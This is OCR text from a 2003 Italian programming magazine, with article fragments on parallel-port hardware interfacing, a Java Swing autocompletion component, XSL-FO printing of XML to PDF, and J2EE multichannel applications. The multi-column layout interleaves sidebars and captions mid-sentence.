montare il circuito necessario e concentreremo la o, nei modelli meno recenti, maschio a 25 pin), di-
nostra attenzione sui dettagli implementativi e le sposti su due file, una da 13 fori e una da 12.
tecniche risolutive dei vari aspetti di “gestione” Nota: per “pin” si intende una terminazione metal-
della periferica. lica che, se innestata in uno zoccolo, stabilisce un
contatto elettrico tra dei componenti.
Come suggeriscono gli stessi nomi, la differenza
LE PORTE sostanziale tra porta parallela e porta seriale sta
Abbiamo parlato prima di “porte”; proprio come proprio nel differente modo di inviare e ricevere
avviene per una qualunque porta, il senso comune dati.
ci suggerisce che si tratti di qualcosa che permetta Attraverso la porta parallela è possibile inviare/ri-
h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 63
063-066 Elettronica 5-06-2003 16:28 Pagina 64
E l e t t r o n i c a G G G G G G G G G G G G G G G G G G G G G
cevere bit su un certo numero di linee parallela- ECP (Extended Capabilities Port).
mente, è quindi possibile trasferire più bit con- Le attuali porte parallele in dotazione sui nostri
temporaneamente. In particolare questa porta di- computer sono in grado di funzionare in tutte
spone di 12 linee di uscita e 5 di ingresso, i restan- queste modalità le quali differiscono per alcune
ti 8 pin della porta sono collegati a massa. funzionalità operative.
Sulla porta seriale bisogna, invece, trasferire i dati La SPP è quella che useremo; nata insieme ai pri-
Elettronica
attraverso linee singole variando con una data fre- mi PC dispone di 3 registri da 8 bit individuati da
quenza (conosciuta sia da chi trasmette che da chi un indirizzo diventato ormai standard, questo in-
riceve) i livelli dei bit da trasmettere. dirizzo viene detto “base” in quanto a partire da
Infine, la porta joystick è una porta di soli ingres- esso esistono altri indirizzi consecutivi anch’essi
si, che può quindi essere usata comodamente per utili per accedere alla porta che corrispondono ai
Un telecomando ricevere input dall’esterno e che generalmente vie- vari registri.
per pilotare il PC ne fornita dalla scheda audio. Il dettaglio dei 3 registri da 8 bit è mostrato sche-
Quando parliamo di linee intendiamo dei collega- maticamente in Fig. 1.
menti che possono rappresentare gli stati logici A puro scopo informativo, il modo di funziona-
“0” o “1”, come sovente avviene si associa lo stato mento della propria porta parallela può essere
“alto” o “1” a +5volt e lo stato logico “basso” o “0” cambiato dal pannello di controllo del sistema
alla massa che, come possiamo vedere in Fig. 1, è operativo e/o dal BIOS, tuttavia tutti i modi di
prelevabile da alcuni pin della stessa porta paral- funzionamento mantengono la compatibilità con
lela. il modo SPP (quindi verso il basso) per cui, nel no-
stro caso, non è necessario apportare alcuna modi-
fica.
Generalmente l’indirizzo 0378h rappresenta la
Alimentazione porta parallela di default, quella installata sulla
esterna scheda madre, se non è diversamente specificato
A volte è necessa- nel BIOS; una porta parallela ausiliaria montata su
rio costruire una slot PCI o ISA viene invece interrogata tramite
periferica che non è
l’indirizzo 0278h.
possibile alimentare di-
rettamente dalla porta Gli indirizzi delle proprie porte parallele possono
parallela o da qualun- essere verificati e/o cambiati dal pannello di con-
que altra porta si sta trollo.
utilizzando per l’inter-
Come abbiamo detto prima la porta parallela di-
facciamento. In questo
caso, per evitare danni, spone di 12 pin di output e 5 di input, questi sono
è necessario che le cor- distribuiti sui 3 registri come segue:
renti che circolano sul Fig. 1: Collegamenti tra i 3 registri della porta pa-
rallela e il connettore.
sul primo registro (quello all’indirizzo base) sono
circuito della periferica
siano fisicamente isola-
mappati 8 pin di output, i restanti 4 si trovano sul
te dal circuito di con- registro “indirizzo base + 2”. Per porre un pin al li-
trollo che è collegato di- È molto importante tenere a mente che la porta vello logico desiderato, è sufficiente scrivere il va-
rettamente alla porta. A parallela è, solitamente, integrata con la scheda lore binario corretto nel registro corrispondente,
tale scopo, generalmen-
te, si adottano partico-
madre, per questo motivo: ad esempio per porre a livello logico “alto” i primi
lari tecniche di fotoac- 4 bit di uscita bisogna scrivere 0Fh (esadecimale)
coppiamento o bufferiz- • non è consigliabile utilizzare la tensione forni- sul primo registro. Analogamente per leggere il li-
zazione che prescindo-
ta dalla porta per alimentare direttamente cir- vello di una delle linee di ingresso deve essere let-
no però dall’aspetto in-
formatico del problema. cuiti che richiedono l’erogazione di correnti si- to il bit del registro che corrisponde all’ingresso da
Potrebbe essere, inol- gnificative (al massimo 2,6 mA). controllare.
tre, una buona idea con- Quando si scrive del software per pilotare una pe-
siderare l’acquisto di
• Quando si vuole segnalare un ingresso “alto” riferica su porta parallela si deve prestare partico-
una porta parallela au-
siliaria da montare su bisogna rispettare il valore di +5volt lare attenzione al fatto che alcuni ingressi e alcune
slot ISA o PCI. uscite non sono collegati sequenzialmente sul con-
• Quando si vuole segnalare un ingresso “bas- nettore ed alcuni di essi presentano anche un’in-
so” la linea corrispondente deve essere impo- versione logica (quelli indicati col pallino vicino al
stata a 0 volt, quindi collegata direttamente a triangolo che indica la direzione dei dati), in que-
massa (quella fornita direttamente dalla por- sto caso, un ingresso “alto” sul connettore pone i
ta), in nessun caso è conveniente lasciare scol- bit corrispondenti sul registro a 0 e viceversa an-
legato un ingresso controllato via software, al che per l’output.
fine di evitare stati di indeterminazione. Può capitare che ci si trovi a dover controllare con-
tinuamente il livello di ingresso di uno dei pin del-
Esistono diversi tipi di porta parallela: SPP (Stan- la porta per verificarne il cambiamento di stato ed
dard Parallel Port), EPP (Enhanced Parallel Port) ed effettuare quindi delle misure, in questo caso ci
64 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
063-066 Elettronica 5-06-2003 16:29 Pagina 65
E E E E E E E E E E E E E E E E E E E E E E l e t t r o n i c a
troveremmo ad interrogare continuamente la por- terrupt. Uno dei driver più semplici da utilizzare
ta con un notevole impatto prestazionale e con il è PortIO driver della Scientific Software Tools Inc.
rischio di non rilevare il cambiamento, nel caso in Questo driver fornisce delle semplici funzioni per
cui questo sia troppo rapido paragonato alla no- l’accesso alle porte, pur non fornendo nessun sup-
stra velocità di interrogazione della porta. Per ov- porto per l’utilizzo dell’interrupt. È sufficiente
viare a questo inconveniente la porta parallela for- scaricare il file da [Link] e in-
Elettronica
nisce il supporto di un interrupt. Un interrupt è stallare il prodotto. Insieme al driver sono distri-
un segnale in grado di interrompere la normale buite le librerie per Visual C++ e Visual Basic e
esecuzione del processore, forzandolo ad eseguire un’applicazione dimostrativa completa di sorgen-
una routine che deve restituire il controllo il più ti. L’ottimo driver che useremo più avanti per
velocemente possibile. L’interrupt, una volta abi- questo progetto si chiama “Universal Parallel Port”
litato scrivendo “1” sul bit 4 del registro “Indirizzo è shareware, supporta anche l’interrupt ed è pro- Un telecomando
Base + 2”, viene generato ogniqualvolta cambia il dotto da una compagnia tedesca, la TheSycon Sy- per pilotare il PC
livello logico del pin di ingresso 10 (bit 6 del regi- stemsoftware & Consulting GmbH. Può essere
stro “Indirizzo Base + 1”). In questa maniera il PC scaricato gratuitamente in versione demo dal sito
non necessita di restare “in attesa” di un cambia- [Link] così come altri driver che
mento tra i bit di input, dal momento che questo gestiscono, tra le altre, anche la porta USB. Una
cambiamento viene direttamente segnalato dalla volta installato il pacchetto, (sotto Windows XP e
porta parallela stessa. Gli altri ingressi non posso- analogamente per gli altri sistemi Windows) per
no essere controllati tramite interrupt. Il sistema attivare l’interrupt bisogna andare nel pannello di
operativo generalmente riserva l’interrupt 7 alla controllo alla voce sistema->gestione periferiche,
prima porta parallela e il 5 a quella ausiliaria cliccare col tasto destro sulla porta LPT ed attiva-
re la voce “Utilizza qualsiasi interrupt assegnato alla
porta”. Insieme al driver vengono forniti: un’ap-
LAVORIAMO plicazione con la quale è possibile da subito scri-
CON LA PORTA PARALLELA vere e leggere valori dalla porta parallela, il codi-
Adesso che conosciamo la porta parallela e che ce sorgente in C++ di questa applicazione, le li-
abbiamo visto come interfacciarla veniamo al me- brerie e la documentazione necessaria a scrivere i
ro problema pratico, come scrivere o leggere i va- propri programmi. I driver appena descritti sono Proteggiamo
lori che vogliamo sui fatidici indirizzi dei registri. presenti anche nel CD allegato alla rivista (cartel- l’hardware
Prima dell’avvento di Windows era sufficiente la “/soft/codice”), consiglio, in ogni caso, di visitare Per questioni di si-
curezza è buona
utilizzare le istruzioni del proprio linguaggio for- i siti delle due società sviluppatrici per eventuali
prassi collegare i propri
nite appositamente per l’accesso alle porte (ad versioni aggiornate dei loro software. Sulla rete circuiti alla porta paral-
esempio in C “inp” e “outp”), sfortunatamente con sono presenti, inoltre, altri driver di diversi svi- lela prima dell’accensio-
Windows le cose si sono fatte più complesse. luppatori che a differenza di quelli citati offrono il ne del PC, in rari casi,
eventuali scintillii o con-
Windows fornisce uno strato di astrazione dal- supporto solo su un particolare sistema operativo
tatti “incerti” potrebbe-
l’hardware per garantirne l’accesso in maniera si- o famiglia di sistemi operativi. Per una lista più ro danneggiare il circui-
cura e da parte di più utenti, per questo motivo la esauriente di driver e di materiale relativo alla to e/o la porta stessa.
lettura/scrittura sulle porte non può essere ese- porta parallela basta conoscere un po’ di inglese e
guita direttamente, ma deve essere effettuata tra- fare un salto su [Link]
mite un driver. Sui sistemi Windows, infatti, ogni
applicazione lavora nel cosiddetto user mode, con-
dizione che permette al programma di accedere IL NOSTRO PROGETTO
alle API del sistema operativo, ma che ne preclu- COMINCIA A “VEDERE
de l’accesso diretto all’hardware, al contrario i dri- LA LUCE”
ver possono lavorare in kernel mode ed avere le Come primo tentativo di interfacciamento vedre-
autorizzazioni necessarie all’accesso diretto ad mo due semplici esempi; il primo è l’accensione di
una periferica. Sfortunatamente la scrittura di un un LED (Light Emitting Diode), quindi come pilo-
driver non è affatto semplice, richiede una note- tare un dispositivo collegato alla porta parallela in
vole conoscenza dei meandri del sistema operati- output, il secondo è, invece, l’operazione inversa,
vo e l’installazione del DDK (Driver Development ovvero il rilevamento dello stato di un pulsante o
Kit) che può essere richiesto direttamente alla Mi- interruttore collegato alla porta. Per pilotare un
crosoft previo pagamento delle sole spese di spe- LED bisogna prima di tutto disporre di un con-
dizione. Tuttavia su internet è possibile trovare nettore maschio D25 da collegare alla porta paral-
numerosi driver freeware o shareware che, una lela, di qualche cavetto di tipo telefonico, di un co-
volta installati, forniscono delle semplici funzioni mune LED e di una resistenza da almeno 120
che accedono direttamente alle porte. Alcuni di Ohm (senza esagerare è possibile discostarsi da
essi forniscono anche il ben più complesso, da un questo valore anche di parecchio, come è possibi-
punto di vista implementativo, supporto dell’in- le vedere in Fig. 2) che limiti l’assorbimento di
h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 65
063-066 Elettronica 5-06-2003 16:30 Pagina 66
E l e t t r o n i c a G G G G G G G G G G G G G G G G G G G G G
Elettronica
66 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
067-070 Sistema AC 4-06-2003 10:56 Pagina 67
E E E E E E E E E E E E E E E E E E E E E E E S i s t e m a
L’intellisense nelle
tue applicazioni Sistema
In quest'articolo vedremo come di autocompletamento, presenteremo l'implementa- File sul CD
realizzare un componente zione di un componente di testo swing che permetta \soft\codice\
[Link]
di testo swing che permetta l'autocompletamento e infine mostreremo un esempio
di utilizzo di questo componente per scrivere percorsi
l'autocompletamento del codice.
di file (path).
Un po’ come avviene nei più In sostanza potrete usare questo componente, ad esem- File sul Web
[Link]/ioprog71/
moderni IDE di programmazione. pio, per facilitare la scrittura di query SQL (mostrando [Link]
a seguito della digitazione del punto dopo il nome del-
la tabella, l'elenco dei relativi campi), di indirizzi inter-
net, di codice di linguaggi script e per quanto altro pos-
U
na svolta importante nell'evoluzione dei tool sa venirvi in mente.
di sviluppo Java è stata senza dubbio l'intro-
duzione dell'autocompletamento del codice.
Infatti in un editor Java che incorpori questa tecnolo- DEFINIAMO
gia, è possibile, ad esempio, allorché si digita il punto L'AUTOCOMPLETAMENTO
dopo il nome di un oggetto, vedere i relativi campi e Per autocompletamento intendiamo il seguente com-
metodi, selezionarli e fare in modo che il codice sia au- portamento: durante la digitazione in un campo di te-
tomaticamente scritto (Fig. 1). sto, alla digitazione di un carattere chiave (di attivazio-
ne), compare una finestra di popup che, a seconda del-
la parola che si trova a sinistra del carattere di attiva-
zione, presenta una serie di valori selezionabili. La fi-
nestra compare solo se ci sono valori selezionabili (cioè
se la lista di valori associata alla stringa a sinistra del
carattere di attivazione non è vuota, quindi, sintattica- Requisiti
Gli esempi di questo ar-
mente parlando, se tale stringa è corretta).
ticolo sono stati testati
A questo punto l'utente può: con la seguente confi-
gurazione
• Selezionare con un click del mouse la voce che gli
• PC: PIII 800MHz,
interessa. 128Mb RAM
I vantaggi sono evidenti (evitare di leggere continua- • Continuare a scrivere e se i caratteri che sta digi-
mente le API e la documentazione, riduzione drastica tando sono parte di una voce della lista, questa vo-
di errori di battitura) ed è difficile pensare oggi di po- ce viene selezionata ed eventualmente accettata
ter sviluppare in Java senza questo aiuto (anche se pur- con un invio.
troppo esistono, anche ambienti produttivi dove il tool
di sviluppo Java è un semplice editor di testo come Ul- • Premere un tasto di uscita (normalmente ESC) e
traedit). Alcuni programmatori, come il sottoscritto, nascondere la finestra di popup e continuare a scri-
hanno cominciato a pensare che non sarebbe stato ma- vere senza l'aiuto dell'autocompletamento.
le includere una tecnologia simile (eventualmente sem-
plificata e più generale) all'interno delle loro applica- Nei primi tre casi la voce selezionata verrà scritta nella
zioni, in contesti non strettamente legati alla stesura di finestra di testo a destra del carattere di attivazione e
codice Java. viene nascosta la finestra di popup.
In questo articolo daremo inizialmente una definizione Vediamo ora come poter implementare un compo-
h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 67
067-070 Sistema AC 4-06-2003 10:56 Pagina 68
S i s t e m a G G G G G G G G G G G G G G G G G G G G G G G G
68 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
067-070 Sistema AC 4-06-2003 10:57 Pagina 69
E E E E E E E E E E E E E E E E E E E E E E E S i s t e m a
h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 69
067-070 Sistema AC 4-06-2003 17:35 Pagina 70
S i s t e m a G G G G G G G G G G G G G G G G G G G G G G G G
TextPaneAutoCompletion textAuto =
new TextPaneAutoCompletion(new
PathCompletionModel());
[Link]([Link]);
char seps[] = { '\t', '\n' , [Link] };
// Non includiamo spazi, in quanto possibili
Sistema [Link](seps);
caratteri in un file
[Link]().add("Center", new
nelle tue
applicazioni new JLabel("File Separator: "+
[Link]+ " - "+
[Link]("[Link]")));
[Link](400, 400);
Fig. 3: L'esempio dell'autocompletamento di path
[Link](true); in esecuzione su Mac Os X.
}
}
tenere, a seconda del sistema operativo che stiamo
Per prima cosa instanziamo un oggetto di tipo JFrame, usando, qualcosa di simile alla Fig.2, se usiamo un si-
che conterrà la nostra finestra di testo. Creiamo una stema Win32 (nella fattispecie Windows 98) o alla
TextPaneAutoCompletion passando come parametro al Fig.3, se usiamo un Unix-like (nello specifico Mac Os
costruttore una nuova istanza di PathCompletionModel, X). A questo punto possiamo giocare un po' con l'e-
il modello di autocompletamento di path definito so- sempio, per provare le funzionalità che abbiamo de-
pra. Ora dobbiamo impostare le regole fondamentali scritto nell'articolo e vedere il comportamento del no-
per la finestra di testo. stro componente.
Innanzi tutto dobbiamo impostare il carattere di atti-
Software vazione, che in questo caso è il separatore di file, che
di esempio prendiamo dal campo statico separatorChar della classe CONCLUSIONI
Il codice sorgente File. Successivamente dobbiamo impostare l'insieme di In questo articolo abbiamo visto come l'autocompleta-
del componente
caratteri che definiscono la seprazione tra path. Defi- mento possa essere una funzionalità utile anche al di
dell'autocompletamen
to, così come quello niamo dunque un array di caratteri in cui includiamo fuori dei tool di sviluppo Java. Abbiamo mostrato l'im-
dell'esempio sono pre- il newline, il tab (non lo spazio perché può essere parte plementazione di un componente di testo (TextPaneAu-
senti sul CD. I file del- di un nome di file) e il separatore di path che prendia- toCompletion) che permettte l'autocompletamento in
l'esempio (PathCom-
mo dal campo statico pathSeparatorChar della classe Fi- diversi contesti definibili dal programmatore. Infine
[Link] e Path-
CompletionModel) so- le. Aggiungiamo al frame la TextPaneAutoCompletion al abbiamo scritto il codice per un piccolo esempio di un
no nel default packa- centro e una JLabel che indica il separatore di file e il si- applicazione che utilizza l'autocompletamento per
ge, mentre i file del stema operativo che stiamo utilizzando in cima. Infine specificare percorsi di file.
componente (TextPa-
dimensioniamo il frame e lo rendiamo visibile. Possia-
neAutoCompletion e
AutoCompletionModel) mo ora eseguire l'applicazione. Comparirà un frame
sono nel package com. con una finestra di testo.
autocompletion. Se iniziamo a digitare un path, premendo il tasto cor-
rispondente al carattere separatore di file, possiamo ot-
70 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
071-075 Sistema Stam 11-06-2003 17:22 Pagina 71
E E E E E E E E E E E E E E E E E E E E E E E S i s t e m a
Da XML a PDF,
DOC, RTF, TXT Sistema
In quest'articolo verrà descritto (XSLT) per generare il documento XSL-FO che rap- File sul Web
[Link]/
come stampare in maniera rapida presenterà il vero e proprio layout della pagina che
ioprog71/[Link]
e indolore i vostri documenti XML si vuole stampare.
utilizzando una “terrific
• Formatting Object(FO) descrive come le informa-
technology…” chiamata zioni sono “formattate” all’interno delle pagina che
XSL-FO! si vuole stampare. Per esempio, il nome va stam-
pato in altro a destra, il cognome in basso a sinistra,
ecc..
B
ene cari programmatori eccoci nuovamente alle
prese con le nostre stampe. Stampare è un po’ Ricapitoliamo: utilizzando XSL, possiamo creare delle
come un’arte e come tale presenta molte forme, stampe di un generico documento XML. Utilizzando
colori e sfaccettature diverse, l’arduo compito di noi XSL-FO, possiamo specificare come le informazioni
programmatori è proprio quello di saper utilizzare ma- (contenute nel documento XML) devono “apparire”
gistralmente la giusta forma unita al giusto colore! Do- nella pagina che intendiamo stampare.
po questa breve parafrasi introduttiva, mi raccomando Più in dettaglio, possiamo specificare:
non precipitatevi a comprare tavolozza e colori bensì
sedetevi comodi e preparatevi a scoprire come stampa- • Il layout della pagina;
re un documento XML utilizzando XSL-FO. Nell’era
delle tecnologie con la “X…”: XML, XSL, XSLT (e tutte • La size della pagina;
le varie combinazioni sono valide!) è doveroso cono-
scere una “ tecnica ” di stampa che onora la grande • Headers e Footer;
“X…”: XSL-FO.
• Margini;
h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 71
071-075 Sistema Stam 31-05-2003 10:20 Pagina 72
S i s t e m a G G G G G G G G G G G G G G G G G G G G G G G G
ducibile” grazie ai tanti tag che possiamo specificare al- • Page sequence. Nel documento le pagine sono rag-
l’interno del nostro documento XSL-FO. I layout che si gruppate in sequenze. L’attributo master-reference,
possono creare utilizzando opportunamente i tag so- definisce quale layout (tra quelli definiti) utilizzare.
pra citati, possono raggiungere una precisione e una In sostanza si occupa di determinare quando e qua-
“bellezze grafica” a prova d’artista… E ricordiamoci le page master utilizzare.
che non abbiamo bisogno di tele e colori!
<fo:flow flow-name="xsl-region-body">
72 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
071-075 Sistema Stam 31-05-2003 10:20 Pagina 73
E E E E E E E E E E E E E E E E E E E E E E E S i s t e m a
<fo:block font-family="Times" font-size="14pt" Se sono specificati due valori, il primo di questo farà ri-
font-style="italic" ferimento al paddings top and bottom, mentre il secon-
line-height="1.5" text-align="left" do al paddings right and left. Se sono specificati tre va-
border-color="black" border-style="solid" border- lori, il primo setterà il padding top, il secondo left and ri-
width="thick" ght, il terzo il bottom. E’ possibile utilizzare anche l’op-
padding="1cm 3cm" padding-bottom="18pt" zione con uno o quattro valori, il significato spero sia
background-color="red" background-image=
"url('[Link]')">
intuitivo!
Anche per il padding esistono molto attributi; anche in Sistema
Napoleone Bonaparte questo caso è possibile specificare: padding- left/right/
</fo:block> bottom/ top.
XML:
stampare con
• background-color="red". Permette di definire il
XSL-FO
colore (background) del block.
L’output del documento appena descritto è ben visibi- • Element inline. Corrisponde allo SPAN in HTML.
le in Fig 2. Il codice stampa il nome di Napoleone Bona- Consente di applicare una particolare formattazio-
parte e in aggiunta ne specifica alcuni particolari attri- ne ad un “pezzo” di testo all’interno di un block.
buti:
<fo:block>
• font-family="Times". Specifica un determinato <fo:inline color="red" text-decoration="underline"
font. font-family="Times" font-style="italic">
Giuseppe
• font-size="14pt". Definisce la dimensione del font. </fo:inline>
<fo:inline font-weight="bold"
• font-style="italic". Definisce lo stile del font. text-decoration="underline">
Naccarato
• line-height="1.5". Definisce l’altezza della linee </fo:inline>
XSL-FO
che compongono il testo; tale attributo, può essere </fo:block> Utilizzando XSL-
espresso con un preciso valore numerico o in per- FO, possiamo spe-
cificare come le infor-
centuale. Nella sezione di codice sopra riportato, possiamo ap-
mazioni (contenute nel
prezzare l’elemento inline in azione. documento XML) devo-
• text-align="left". Definisce l’allineamento del testo L’output dell’esempio è sempre lo stesso, ovvero la no “apparire” nella pa-
all’interno del block. stampa del nome: “Napoleone Bonaparte”, però in que- gina che intendiamo
stampare.
sto caso nome e cognome vengono si inseriti all’inter-
La definizione di ognuno di questi attributi, a livello di no dello stesso block, ma in due inline distinte. Questa
block, fa si che tutto il testo contenuto in esso sia sog- suddivisione consente di “modellare” a nostro piaci-
getto ai vari settaggi. Di seguito elenchiam altri attri- mento le due stringhe in maniera distinta.
buti, questa volta per il border, padding e background: Ma vediamo da vicino gli attributi dell’elemento. Per
questa classe di attributi, vorrei precisare che l’elemen-
• border-color="black". Definisce il colore del bordo to inline, gode dei medesimi attributi specificati per l’e-
superiore. lemento block, all’uopo ometteremo la loro descrizio-
ne:
• border-style="solid". Definisce lo stile del bordo
superiore. font-family, font-size, font-style, padding, ecc…
• border-width="thick". Definisce l’ampiezza del • color="red". Permette di definire il colore del testo.
bordo superiore.
• text-decoration="underline". Permette di sottoli-
Ognuno di questi attributi può essere specificato anche neare il testo.
per i singoli: border-left/right/ bottom/ top. Generalmente
una volta settato un determinato bordo, e necessario • font-weight="bold". Permette di aggiunge lo stile
anche specificare il padding tra il testo e il bordo, tale grassetto al testo.
operazione viene effettuata con l’attributo:
Come nel caso del block, la definizione di uno di que-
• padding="1cm 3cm". Definisce il padding tra testo sti attributi si ripercuote su tutto il testo per cui tali at-
e bordo. tributi sono stati definiti.
h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 73
071-075 Sistema Stam 4-06-2003 17:27 Pagina 74
S i s t e m a G G G G G G G G G G G G G G G G G G G G G G G G
• Element list. Viene generalmente utilizzato per al- getto da stampare non è stata facile, lista della spesa?
lineare due block adiacenti, per formattare una lista banale, fatture? Già fatto. Questa volta ci adopereremo
ordinata, per create note; ovvero, per dare ad un te- per una stampa veramente professionale: “Un curricu-
sto la parvenza di una lista. lum Vitae”. Ebbene si, quando avrete terminato di leg-
gere questo articolo, ognuno di voi sarà in grado di
<fo:list-block provisional-distance-between-starts="18pt"> creare (e quindi stampare) un file .pdf contenente il
Sistema <fo:list-item>
<fo:list-item-label end-indent="label-end()">
proprio CV. Il nostro punto di partenza, è un docu-
mento XML contenente tutti i dati che desideriamo
<fo:block>•</fo:block> stampare.
Stampe
XML: </fo:list-item-label> Non ci soffermiamo su spiegazioni inutili, nonché ri-
e creazione di con
file <fo:list-item-body start-indent="body-start()"> dondanti su cosa è un documento XML, confidiamo
stampare
PDF XSL-FO
in Java <fo:block font-style="italic" nella vostra infinita conoscenza. Il nostro file XML è il:
font-weight="500"> [Link], di seguito sono riportati alcuni “pezzi” di que-
Valentina Muraglia sto file, il sorgente originale é comunque disponibile
</fo:block> sul Cd-rom allegato alla rivista:
</fo:list-item-body>
</fo:list-item> <curriculum>
</fo:list-block> <datiAnagrafici>
<nome>Damiano</nome>
<cognome>Bonazzoni</cognome>
<dataNascita>08/12/1976</dataNascita>
<luogoNascita>Gela</luogoNascita>
</datiAnagrafici>
Nel tag <datiAnagrafici> riportiamo tutti i dati
personali che desideriamo stampare.
<esperienza>
Fig. 3: Output del listato XML di cui sopra.
<periodo>1995/1996</periodo>
<ruolo>Arbitro di calcio nelle categorie giovanili.</ruolo>
L’output del codice appena esaminato é visibile in Fig. </esperienza>
3; l’output, rispetto a quanto proposto nel codice, mo- Nel tag <esperienza> riportiamo l’esperienza lavorativa.
stra qualche item in più, si tratta di aggiunte puramen- <istruzione>
Esempi te didattiche che aiutano il lettore a meglio capire il <dataConseguimento>2001</dataConseguimento>
Il nostro file XML è
il: [Link], di se- concetto. <titolo>Laurea in Economia e Commercio</titolo>
guito sono riportati al- Di seguito elenchiamo gli attributi dell’element list: </istruzione>
cuni “pezzi” di questo Nel tag <istruzione> riportiamo la nostra cultura!
file, il sorgente origi-
• provisional-distance-between-starts="18pt". Per- <linguaStraniera>
nale é comunque di-
sponibile sul Cd-rom mette di settare la distanza che intercorre fra la la- <lingua>Inglese</lingua>
allegato alla rivista bel (il quadratino nel nostro caso) e la stringa che <livello>Fluente</livello>
(directory codice). compone la lista. </linguaStraniera>
Nel tag <linguaStraniera> riportiamo quanto siamo
• end-indent="label-end()", start-indent="body- poliglotti!
start()". Consentono di gestire la formattazione de- </curriculum>
gli spazi tra la label e la stringa.
E’ importante ricordare che, se si desidera stampare
All’interno delle liste, possono essere naturalmente ap- più di una esperienza lavorativa, il tag va ripetuto per
plicati tutti gli element (con i relativi attributi) visti in quante sono le esperienze da stampare, N.. esperienze
precedenza. Avrete sicuramente notato che un <fo:list- N.. tag. Naturalmente questo discorso è valido anche
item-body..> è composto da un semplice block, che a sua per i tag: istruzione e lingua straniera.
volta può essere composto da n… inline. Immaginate il Bene, ora che abbiamo i dati da stampare, vediamo co-
gioco delle scatole cinesi e date libero sfogo alla vostra me questi sono modellati nel nostro documento XSL-
fantasia! Bene cari lettori, dopo questa overview sui FO. Anche in questo caso abbiamo un file di partenza
principali element di XSL-FO (in realtà ne manca an- il: [Link], di cui riportiamo solo alcuni “frammenti” di
cora uno: il tabel, ma vista la sua complessità lo analiz- codice particolarmente esplicativi:
zeremo in corso d’opera..), è arrivato finalmente il mo-
mento di metterci all’opera. <xsl:stylesheet version="1.0"
Il titolo dell’articolo ci ha preannunciato il lavoro da fa- xmlns:xsl="[Link]
re: “Stampare un documento XML con l’utilizzo di XSL- xmlns:fo="[Link]
FO” il nostro lavoro consisterà proprio nel creare un fi- <xsl:template match="curriculum">
le .pdf pronto per essere stampato. La scelta del sog- Definiamo che il nostro file XSL farà il match con tag
74 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
071-075 Sistema Stam 31-05-2003 10:21 Pagina 75
E E E E E E E E E E E E E E E E E E E E E E E S i s t e m a
h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 75
076 081 Mobile 4-06-2003 10:58 Pagina 76
P a l m a r i G G G G G G G G G G G G G G G G G G G G G G G
✓ Programmazione Enterprise
❏
Applicazioni
J2EE
J2EE multicanale
Nell’ambito della creazione di guaggio di marcatura HTML (il protocollo applicati-
vo). Possiamo anche dire che un telefono cellulare
applicazioni J2EE, in questo
consuma i servizi di un’applicazione WAP utilizzan-
articolo ci occuperemo della do il linguaggio WML. L’ultimo esempio, sempre più
realizzazione di una rubrica attuale, consiste in un’applicazione client che consu-
aziendale accessibile da qualsiasi ma i servizi messi a disposizione da un’applicazione
File sul CD dispositivo mobile. server veicolati attraverso un qualunque protocollo
\soft\codice\[Link] di trasporto (quasi sempre HTTP) utilizzando SOAP
come protocollo applicativo. Attraverso questi pochi
esempi abbiamo coperto una buona percentuale di
U
na delle parole che si sente sempre più spes- situazioni tradizionali ed abbiamo anche indicato i
so da chi si occupa professionalmente del “canali” che vengono utilizzati più spesso. Un “ca-
J2EE mercato dell’Information Technology è nale” è la modalità di erogazione del servizio, la mo-
La complessa ar-
“multicanalità”. Ogni applicazione, dal punto di vi- dalità con la quale il dispositivo consumatore riesce
chitettura di Java
è divise in tre piat- sta di chi la commissiona o di chi ne cura gli aggior- ad ottenere il servizio dall’applicazione che lo mette
taforme distinte. namenti, deve essere “multicanale” e questa caratte- a disposizione. Si tratta, in sostanza, dell’unione del-
ristica apparentemente irrinunciabile potrebbe essere la tipologia di dispositivo con il protocollo di tra-
Java 2 Standard Edi-
uno dei volani in grado di ridar fiato al mercato I.T. sporto e con il protocollo applicativo. Questi tre
tion (J2SE) definisce i
costrutti del linguag- che nell’ultimo periodo, seppur in apparente ripresa, esempi vengono, con poca precisione, identificati co-
gio, le librerie di utiliz- non è che brilli per grandi investimenti. Vediamo me il “canale Web”, il “canale Wap” ed il “canale
zo generale ed i suoi quindi cos’è e come si può realizzare un’applicazio- SOAP”, ma come abbiamo visto le cose sono legger-
servizi di base.
ne multicanale utilizzando la piattaforma J2EE. mente più complesse.
Java 2 Micro Edition
(J2ME) consente l pro-
duzione di applicazioni
per dispositivi wireless
SCENARIO MULTICANALITÀ E JAVA
mobili e per sistemi
Per chiarire quello di cui stiamo parlando, iniziamo La piattaforma J2EE, come d’altro canto moltissime
embedded. col dare qualche definizione degli elementi che com- altre architetture dedicate allo sviluppo di applica-
pongono il nostro scenario. Un’applicazione è, in li- zioni server-side, ci permette di scrivere software uti-
Java 2 Enterprirse Edi-
nea generale, uno strumento software in grado di lizzabile con tutti i dispositivi di cui parlavamo in
tion (J2EE) è orientata
allo sviluppo di appli- fornire dei servizi ad una platea di possibili consu- precedenza, cioè ci permette di costruire applicazio-
cazioni distribuite su matori. Ogni consumatore ha la propria modalità per ni erogabili su tutti i rispettivi canali. Il vero valore
sistemi Internet/Intra- servirsi dell’applicazione e questa è di solito formata aggiunto di un’applicazione multicanale, però, è che
net e consente la pro-
da alcune componenti distinte: sia utilizzabile contemporaneamente da tutti i canali
duzione di componenti
server di elevata com- supportati e che sia disegnata in maniera tale da ave-
